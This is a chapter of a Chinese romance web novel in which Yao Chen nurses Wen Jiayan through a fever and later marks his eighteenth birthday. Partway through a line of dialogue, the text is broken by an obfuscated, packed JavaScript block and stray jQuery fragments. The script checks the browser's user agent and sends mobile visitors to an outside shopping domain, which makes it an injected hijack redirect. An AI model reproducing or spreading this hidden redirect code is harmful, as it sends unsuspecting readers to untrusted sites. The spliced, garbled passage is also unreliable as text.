尧琛从客厅拿来体温计给他量，计好时间就坐床边静静等着。
“下次还开这么低吗？”尧琛指尖还停留着闻嘉言额头的温度，摸上去的一瞬只感觉掌心发烫。
闻嘉言就露出个头，头发松松散散吸附在枕头上，从尧琛视角看过去，是个如假包换的海胆头。
“看我发烧的份上你就别贫我了。”闻嘉言脑袋发晕，闭着眼迷迷糊糊说，“整天就知道占我便宜。”
尧琛觉得这话好笑，他垂下眼去看闻嘉言因为发热有些泛红的脸，“我什么时候占你便宜了？我看是你整天开我玩笑吧。”
脑内不禁闪现之前他故意调戏尧琛的画面，闻嘉言闭着眼满意一笑：“好吧，确实如此。”
尧琛从他那取出温度计，抬高眯眼看了下。
三十八度五。
果不其然发烧了。
“你先躺好，我去给你拿退烧药。”
尧琛平时一个人住，他不怎么生病，家里也没任何备用药。
换好鞋子出门，天已经彻底黑了。药店离家不远，他推开药店的玻璃门，各种苦味药品的味道率先窜入鼻子。
他走到药师面前，开门见山地说：“发烧烧到三十八度五，帮我拿点退烧药。”
药师拿了盒布洛芬出来，嘱咐完用量，她又听到面前的男人说：“再拿点儿其他感冒药吧。”
拎着几盒以后可能用得着的感冒药回去，尧琛遵从医嘱，扣了两粒布洛芬喂给闻嘉言吃。
“好点没？”尧琛从闻嘉言手上接过热水杯，“吃了可能嗜睡，等晚会儿我喊你起来再量量温度。”
闻嘉言躺床上太久感觉后脑勺都睡扁了，他靠着床头轻轻晃了下头：“才吃完药，没那么快见效。尧叔，你急啥呢。”
屋里开了盏小灯，尧琛买完药回来直接拎着袋子来他房间。闻嘉言盯着半个塑料袋的药，有些纳闷儿：“发烧需要吃那么多药吗？”
“想吃可以喂你。”尧琛没再废话，药也吃了，该说的也都说了，他起身走到门边，“继续睡吧。”
尧琛冲完澡出来，罕见接到闻嘉言他爸的电话。
他坐在客厅沙发上，头发没擦，上面沾着水，寂静没有涟漪的空间只能听到闻建辉从电话那头传来的声音。
“小琛啊，我想拜托你件事儿。”
“闻叔，你说。”
“再过几天就是闻嘉言生日了，你也知道，十八岁生日不得马虎。”
“以前都是我跟他妈一起给他过的，谁也没想到今年连他的面都见不到。”
“所以小琛啊，拜托你给他买个生日蛋糕，不用太大，你们俩够吃就行。”
“你毕竟比他大，趁着生日再向他传授点儿人生箴言，这小子混得很，到现在还没个正形。”
“行，我知道了。”
尧琛睡前特意定了闹钟。
凌晨两点半，闹钟准时把他叫醒。
他轻手轻脚去客厅接了点温水，又轻手轻脚慢慢推开闻嘉言的房门。
把水放桌上后，他坐床边沿那伸手摸了摸闻嘉言额头。
还是有点烫。
取来体温计甩几下，他低声喊闻嘉言的名字。
“闻嘉言，醒醒。”
见没反应，他轻轻晃了晃闻嘉言肩头：“起来量体温。”
“嗯……”闻嘉言从喉间发出一声绵软的闷哼，他缓缓睁开眼看到尧琛，问，“你干什么……”
尧琛亮出温度计给他看:“你觉得呢。”
“你不困吗？”闻嘉言叹了口气，睡得正香却被喊起来量体温，即使知道这是为他好，可难免有起床气，“就算你不困，可我困啊。”
“我也困。”给他夹好体温计，尧琛双手抱胸坐他旁边，“闭嘴。”
吃完药果然好了很多，走之前他替闻嘉言掖了掖被子，才放心地回自己房间睡觉。
难得睡了一个饱觉，闻嘉言从床上下来伸了伸手臂，又舒服地转了转腰，他盯着窗外的绿树，神清气爽的。
走到客厅看到桌上放了一杯水，他径直走过去，想也没想就一饮而尽。
还是温的。
肯定是尧琛给他接好放这的。
刷完牙换好衣服，他习惯地朝楼下喊：“尧叔？”
等了会儿没人应，闻嘉言本想下楼看看，可就几秒的时间，他看到尧琛拎着一堆蓝色塑料袋上来了。
这标志性的蓝色塑料袋，闻嘉言转了转眼珠，问：“你又去菜场进货了？”
尧琛把买来的食材放桌上，洗干净手后，回答：“嗯。买了点排骨，等会儿炖了吃。”
“排骨汤……”闻嘉言坐沙发上，眉毛紧了紧，“不会是因为我发烧你要给我补身子吧？”
“不是吧尧叔，你把我当什么了。”他不禁嗔怪，“我没那么娇弱。”
“……”
尧琛走到他面前，下意识伸手想摸摸他的额头，看看还热不热。
手才刚伸出来没碰到闻嘉言，他像一只应激的猫突然躲开了。
“你、你要干嘛？”闻嘉言迅速撇过脸，脑内忽然闪现昨晚尧琛不断触摸他额头的手，有点糙，也有点温暖。
一阵滋滋的电流声从耳边闪过，他突然变得很不自在。
“你自己摸摸头，看还热不热。”尧琛把手收回来，视线落到刚买来的食材上，“买排骨是因为你还在长身体，别给自己加戏。”
“……”
尧琛把要用的食材先准备出来，他切几段玉米，又切了几块胡萝卜。
“我不喜欢吃冬瓜。”不知道闻嘉言什么时候冒出来的，他盯着案板上还没削皮的冬瓜，“别放了。”
尧琛了然点头，“行。”
从袋子里取出新鲜排骨，他冲洗干净放进锅里焯水，然后加入葱、姜、料酒去腥。
焯完水撇去飘上面的浮沫，他把排骨捞出来放进电饭煲里煮，又一并放入准备好的素食。
等的间隙，他又炒了油焖大虾和青菜。
厨房很小，尧琛颀长的身高与之格格不入。他习惯了沉默，哗哗流动的水是这儿唯一的动静。
清理虾线的手有点腥，他低头默默冲洗，觉得味儿没掉，又挤了点儿洗洁精。
半开放式的厨房刚好让闻嘉言一览无余，在尧琛不知道的角落，他默默看了好久。
-
7月23号这天，是闻嘉言生日。
以往，他对生日说不上上心，跟家人吃个蛋糕，跟朋友出去玩玩就算过去了。
不会留下深印象，没父母提醒也不会主动去过。
可这次在他眼里却不一样，平时不会主动提及生日的他，一早就跑尧琛跟前，挺直了腰，气势充足：“今天！我成年了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528410|203623||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
！”
尧琛还在刷牙，他抬头透过镜子看着眉眼兴奋的闻嘉言，点了点头，“嗯，恭喜。”
“苟活十八年，终于等到这一刻了。”闻嘉言靠门边上，头发睡得炸了起来，衣服也没好好穿，就留了条过膝短裤在身上。
尧琛洗漱完看他这身打扮，有些嫌弃道：“也十八了，衣服能好好穿了不。”
“不能。”闻嘉言说。
尧琛忽然很好奇他对成年这件事的执着，于是问他，“成年了你想干什么？”
“其实也没什么想干的，就是觉得，更自由了。”闻嘉言老实回答，“小时候干什么都会受到我妈和我爸的阻挠，玩得一点都不痛快。”
“比如？”
“之前和朋友去网吧通宵开黑，被他们抓住然后打了一顿。”想起以前的糗事，他也不觉害臊，脸上挂着笑，散漫地讲，“还有一次在酒吧，喝多了，旁边坐着个漂亮姐姐，情到深处了，我想亲她。”
想到这闻嘉言笑得直乐呵：“结果还没碰到，我爸找过来直接扇了我一巴掌，把我拉回家恨不得腿给我打瘸。”
尧琛听完脸上写满复杂。
这孩子，没有一顿打是白挨的。
他现在终于知道前几天闻叔打电话来的用意了。
玉不琢，不成器。
尧琛慢慢平复心情。他想，他确实有必要好好雕琢一下这块“玉石”了。
尧琛昨天就订好蛋糕了，他跟闻嘉言说好晚上六点去拿。
【于剑：兄弟，生日快乐。】
【于剑：没想到今年不能陪你过。】
【于剑：等下次见面请你吃饭啊。】
闻嘉言看到信息会心一笑：
【w：没白养你。】
【w：我的好儿子。】
闻嘉言换好衣服在楼下等尧琛忙完一起去拿蛋糕，他漫无目的盯着尧琛低头认真的模样，一下竟入了神。
微皱的眉头，绷直的嘴唇，有些凸出的喉结和隐没在黑色手套里明显鼓起的青筋。
……
毫无意识咽了下口水，直到顾客起身才打断他一直看那边有些灼灼的视线。
顾客走后，尧琛在清理垃圾。闻嘉言就站他旁边，想起什么，突然问：“你还记不记得答应我的事。”
“嗯。”尧琛说，“给你文身。”
“今天文？”尧琛抬头看他。
“不。”闻嘉言说，“我还没想好文哪里，文什么也没想好。”
“行，等你想好了告诉我。”尧琛把垃圾打包好拎在手里，“不过先说好，过于私密的位置我不考虑。”
？
这话说出来，足足噎了闻嘉言半分钟。
“我又不是变态！”他没忍住喊了一声，喊完又觉得有意思，突然笑着问尧琛，“按你这么说，之前有顾客要求啊？”
“嗯。”尧琛似乎皱了下眉。
闻嘉言瞬间被勾起兴趣，他搓了搓手，忍不住继续问：“你快讲讲嘛。”
捉弄完人，尧琛噙嘴角的笑意显露出来。他不动声色转过头，一本正经开口，但眉眼的笑容出卖了他，“算了吧，我不想去回忆。”
闻嘉言察觉出不对，反应过来，他满脸不可置信：“你骗我！？”
尧琛：“没有。”
“尧叔你变坏了。”闻嘉言愤怒地总结。